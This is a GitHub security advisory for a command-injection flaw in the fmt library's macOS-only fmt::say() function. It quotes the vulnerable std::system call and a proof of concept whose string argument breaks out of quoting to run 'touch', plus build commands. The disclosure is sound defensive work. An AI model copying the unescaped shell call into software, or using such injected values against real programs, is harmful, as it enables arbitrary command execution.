Skip to content

Command injection in `fmt::say()` on macOS

Low
vitaut published GHSA-65g5-63wg-xjh4 Nov 16, 2025

Package

No package listed

Affected versions

>=8.0.0, < 12.0.0

Patched versions

12.0.0

Description

Summary

fmt::say() constructs a shell command via std::system(format("say \"{}\"", user_data)). The formatted argument is never escaped or validated, so attackers can inject arbitrary commands by sending characters such as ", ;, `, or $(). Applications that include <fmt/os.h> from versions 8.0.0 through 11.x, compile on macOS, use C++17 or earlier, and pass untrusted data to fmt::say() are vulnerable to command injection.

Details

Vulnerable Code (include/fmt/os.h:165-169):

#ifdef __OSX__
template <typename S, typename... Args, typename Char = char_t<S>>
void say(const S& fmt, Args&&... args) {
  std::system(format("say \"{}\"", format(fmt, args...)).c_str());
}
#endif

PoC

#include <fmt/os.h>

int main() {
  // The trailing payload escapes the quoted context and executes touch.
  fmt::say("demo {}", "\"; touch /tmp/fmt_poc; echo \"");
  return 0;
}
  1. Build fmt normally (or use header-only mode).
  2. Save the provided PoC (poc.cpp) from this repository.
  3. Compile and run:
clang++ -std=c++17 -DFMT_HEADER_ONLY -D__OSX__ -I include poc.cpp -o poc
rm -f /tmp/fmt_poc && ./poc && ls -l /tmp/fmt_poc

Impact

Command Injection: Attacker-controlled commands run with the privileges of the embedding application.

Severity

Low

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
High
Privileges required
Low
User interaction
Required
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N

CVE ID

No known CVE

Weaknesses

No CWEs

Credits